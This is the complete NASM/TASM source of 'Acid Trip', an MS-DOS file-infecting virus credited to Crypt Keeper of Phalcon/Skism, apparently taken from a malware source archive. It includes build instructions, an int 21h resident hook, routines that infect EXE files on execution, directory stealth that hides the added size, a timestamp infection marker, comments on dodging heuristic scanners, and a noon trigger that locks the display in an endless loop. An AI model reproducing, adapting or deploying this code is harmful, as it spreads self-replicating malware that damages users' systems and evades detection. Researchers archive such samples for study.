MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.acidtrip.asm
2021-01-12 17:29:01 -06:00

460 lines
13 KiB
NASM

;
; Acid Trip by Crypt Keeper [Phalcon/Skism]
;
; Acid Trip is an Enemy Within variant with a trigger routine and
; a few bug fixes. It goes off at 12:00pm (any day) if the monitor
; is in 80x25x16color text mode, scrolling wildly through the color
; pallete and displaying "Your PC is on an [Acid Trip]... Try again
; later..." near the center of the screen.
;
; To compile:
; TASM ACIDTRIP.ASM /M3
; TLINK ACIDTRIP.OBJ /t
; .COM file can be executed with no modifications
.model tiny
.code
org 100h ;make this a com file
acidtrip:
;----------------------------------------------------------------------------
vlength equ vbot-offset(acidtrip) ;Virus length in bytes
heapsiz equ hbot-htop ;size of heap data in bytes
ressize equ 1256/16 ;Virus size resident
virusid equ 08AC5h ;Virus ID word in EXE header
chkfunc equ 0FFFFh ;Check resident function for int 21h
;----------------------------------------------------------------------------
push ds es ;save startup registers
db 0BDh ;mov bp,
delta dw 0 ;delta offset
xor ax,ax
dec ax ;AX=FFFF (check resident function)
int 21h ;check if virus is resident
inc ax ;is virus resident (zero if yes)
jz return ;if so, don't install
;Microsoft Windows/Desqview compatable load resident routine
install:
mov ah,48h ;allocate memory
mov bx,ressize ;amount of memory to request
int 21h
jc not_enough_memory ;carry set means allocation error
mov es,ax ;ax=segment of allocated memory
dec ax
mov ds,ax ;segment of MCB for memory
mov word ptr ds:[01h],08h ;set memory block as independant
jmp short memory_allocation_complete
not_enough_memory:
pop ax
push ax ;get PSP value off stack
mov es,ax ;ES=PSP for set memory block size
dec ax
mov ds,ax ;get segment of this program's MCB
mov bx,word ptr ds:[03h] ;get size of current block
dec bx ;decrease size of memory block
mov ah,4Ah ;set memory block size
int 21h
jc return ;return if allocation error
jmp short install ;try to allocate again
memory_allocation_complete:
push cs
pop ds
push es ;save found target segment
mov ax,3521h ;get int 21h vector
int 21h
mov [bp+offset(i21vecs)],es
mov [bp+offset(i21veco)],bx
pop es
mov cx,(vlength+heapsiz+1)/2 ;words to move
mov di,100h ;destination in memory
lea si,[bp+offset(acidtrip)] ;source of viral code
rep movsw ;copy ourselves up there
push es
pop ds ;segment to set int vector
mov dx,offset(i21vec) ;int 21h vector
mov ax,2421h ;set int 21h vector
inc ah ;without setting off mem resident
int 21h ;code heuristic flags
return: pop bx ;segment of PSP
mov es,bx
add bx,16 ;compensate for PSP size
add cs:[bp+offset(old_cs)],bx ;add PSP to initial CS
pop ds ;restore old DS register
cli ;clear interrupt enable flag
mov ax,cs:[bp+offset(old_ss)] ;old SS register
add ax,bx ;add PSP adress
mov ss,ax
db 0BCh ;mov sp,
old_sp dw 0 ;old stack pointer
sti ;set interrupt enable flag
jmp dword ptr cs:[bp+offset(old_ip)] ;jump to original EXE code
;----------------------------------------------------------------------------
vauthor db 'Crypt Keeper P/S'
old_ip dw 0
old_cs dw 0FFF0h ;Old CS:IP
old_ss dw 0FFF0h ;old stack segment
message db 'Your PC is on an [Acid Trip]... Try again later...$'
;----------------------------------------------------------------------------
i21vec: cmp ax,chkfunc ;check resident function?
jne no_check_func
iret ;return from interrupt
no_check_func:
push ax bx cx dx ;push all used registers
mov ah,2Ch ;get time
call function
cmp cx,0C00h ;12:00pm?
jne no_trippin ;if not, don't trigger
mov ah,15 ;return current video state
int 10h ;BIOS video call
cmp al,3 ;text mode?
jne no_trippin ;if not, don't trigger
mov dx,0A0Fh ;row,column for cursor
mov ah,2 ;set cursor position
int 10h
push cs
pop ds
mov dx,offset(message) ;message to display
mov ah,9 ;print string
call function
mov ax,1002h ;Set palette registers, from buffer
trippin:
inc dx ;move to next group of numbers in mem
int 10h
jmp short trippin
no_trippin:
pop dx cx bx ax ;pop old registers
push ax ;save old AX
inc ah ;avoid execute intercept heuristic flags
cmp ax,4C00h ;load and execute program?
je _infect_on_exec
cmp ax,4C01h ;load program?
je _infect_on_exec
pop ax ;restore old AX value
cmp ah,11h ;find first file (FCB)?
je FCB_dir_stealth
cmp ah,12h ;find next file (FCB)?
je FCB_dir_stealth
cmp ah,4Eh ;find first file (DTA)?
je DTA_dir_stealth
cmp ah,4Fh ;find next file (DTA)?
je DTA_dir_stealth
exit_interrupt_chained:
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
_infect_on_exec:
pop ax ;restore old AX
jmp infect_file ;and attempt to infect
FCB_dir_stealth:
call function ;go ahead and execute
pushf
push dx cx bx es ax ;push all used registers
test al,al ;was find successful?
jnz exit_interrupt_stealth
mov ah,51h ;Get PSP address
int 21h
mov es,bx ;ES=PSP address
sub bx,word ptr es:[16h] ;parent PSP?
jnz exit_interrupt_stealth
mov bx,dx
mov al,byte ptr [bx] ;first byte of FCB
push ax
mov ah,2Fh ;get DTA adress
int 21h
pop ax
inc al
jnz checkFCBinfected ;extended FCB?
add bx,007h ;If so, make into normal
checkFCBinfected:
mov ax,word ptr es:[bx+17h]
mov cx,word ptr es:[bx+19h] ;Get time and date
and ax,1Fh
and cx,1Fh
dec cx ;unmask seconds and date
xor ax,cx ;file infected?
jnz exit_interrupt_stealth ;exit stealth interrupt
sub word ptr es:[bx+01Dh],vlength
sbb word ptr es:[bx+01Fh],ax ;subtract virus size
exit_interrupt_stealth:
pop ax es bx cx dx
popf ;pop all used registers
exit_interrupt_stealthvec:
retf 02h ;return with given flags
DTA_dir_stealth: ;DTA directory size subtract
call function ;go ahead and execute
jc exit_interrupt_stealthvec ;exit if function unsuccessful
pushf
push dx cx bx es ax ;push all used registers
mov ah,2Fh ;get DTA adress
int 21h
mov ax,word ptr es:[bx+16h]
mov cx,word ptr es:[bx+18h] ;get time and date stamps
and ax,1Fh
and cx,1Fh
dec cx ;unmask seconds and date
xor cx,ax ;is file infected?
jnz exit_interrupt_stealth ;if not, don't subtract size
sub word ptr es:[bx+1Ah],vlength
sbb word ptr es:[bx+1Ch],cx ;subtract virus size in bytes
jmp short exit_interrupt_stealth
move_pointer_end:
cwd ;zero cx and dx
mov cx,dx
mov ax,4202h ;move pointer from EOF
function:
pushf
call dword ptr cs:i21veco ;simulate call to original int 21h
ret
open_readwrite: ;opens file at DS:DX for read/write
mov ax,3D00h ;open for read only access
int 21h
jc bad_open ;carry set means open error
push cs
pop ds
push ax ;file handle
mov bx,ax
mov ax,1220h ;get JFT entry
int 2Fh
mov ax,1216h ;get SFT location
mov bl,byte ptr es:[di] ;handle number
int 2Fh
pop bx
mov word ptr es:[di+02h],2 ;set file for read/write
ret
bad_open:
pop ax
jmp short exit_infect ;exit if bad open
infect_file:
push ax si es di bx cx ds dx ;push all used registers
call open_readwrite ;open file for read/write access
mov cx,24 ;24 bytes of header to read
mov dx,offset(exeheader) ;EXE header information
mov ah,3Fh ;read file or device
int 21h
cmp cx,ax ;enough bytes read?
jne bad_file ;if not, file too small
mov cx,exeid
cmp cx,'MZ'
je disease_exe
xor cx,'ZM'
jz disease_exe ;exe file?
bad_file:
mov ah,3Eh ;close file with handle
int 21h
exit_infect:
pop dx ds cx bx di es si ax ;pop all used registers
jmp exit_interrupt_chained ;execute rest of interrupt chain
disease_exe:
cmp chksum,virusid ;file already infected?
je bad_file ;if so, bad file
lds si,dword ptr es:[di+0Dh] ;get old file date and time
push si ds ;and save
push cs
pop ds
add minallc,ressize ;add virus size in paragraphs
push es ;save SFT segment
les si,dword ptr ds:initss ;get initial SS:SP (reversed)
mov old_ss,si
mov old_sp,es
les si,dword ptr ds:initip ;get initial CS:IP
mov old_cs,es
mov old_ip,si
pop es
call move_pointer_end ;move file pointer to end of file
mov cx,16
div cx ;convert file size to seg:offset
sub ax,headers ;subtract header size from segment
mov initcs,ax
mov initip,dx ;set initial cs:ip
sub dx,100h
mov delta,dx ;set delta offset in virus code
add dx,offset(sspace)+64+100h
mov initsp,dx
mov initss,ax ;set initial SS:SP in exe header
mov chksum,virusid ;set file as already infected
mov dx,100h ;offset of virus code in memory
mov cx,vlength ;length of virus code
mov ah,40h ;write file or device
push ax
int 21h
call move_pointer_end ;get file size
mov cx,512
div cx ;convert to pages
test dx,dx ;no remainder?
jz no_remainder
inc ax ;if remainder add another page
no_remainder:
mov expages,ax
mov exbytes,dx ;set new exe size
cwd
mov word ptr es:[di+15h],dx
mov word ptr es:[di+17h],dx ;zero file pointer in SFT
mov dx,offset(exeheader) ;exe header information
mov cx,24 ;24 bytes to change
pop ax ;write file or device
int 21h
pop dx cx ;old file date/time
push dx ;save original file date
and cx,-20h ;reset seconds
and dx,1Fh
dec dx ;unmask date field
or cx,dx ;seconds=date
pop dx ;restore old date
mov ax,5701h ;set file date and time
int 21h
jmp bad_file ;close and exit
;----------------------------------------------------------------------------
vbot equ $ ;bottom of virus code
htop equ $ ;top of heap
i21veco dw 0
i21vecs dw 0 ;old int 21h vector
exeheader:
exeid dw 0 ;Unchanged ;EXE signature
exbytes dw 0 ;number of bytes in last page
expages dw 0 ;number of pages in file
reloci dw 0 ;Unchanged ;number of items in relocation table
headers dw 0 ;Unchanged ;size of header in paragraphs
minallc dw 0 ;minimum memory to be allocated
maxallc dw 0 ;Unchanged ;maximum memory to be allocated
initss dw 0 ;initial SS value
initsp dw 0 ;initial SP value (used as ID word)
chksum dw 0 ;complimented checksum
initip dw 0 ;initial IP value
initcs dw 0 ;initial CS value
reltabl dw 0 ;Unchanged ;byte offset to relocation table
ovnum dw 0 ;Unchanged ;overlay number
hbot equ $ ;bottom of heap data
sspace db 70 dup (0) ;virus stack
end acidtrip ;end of virus code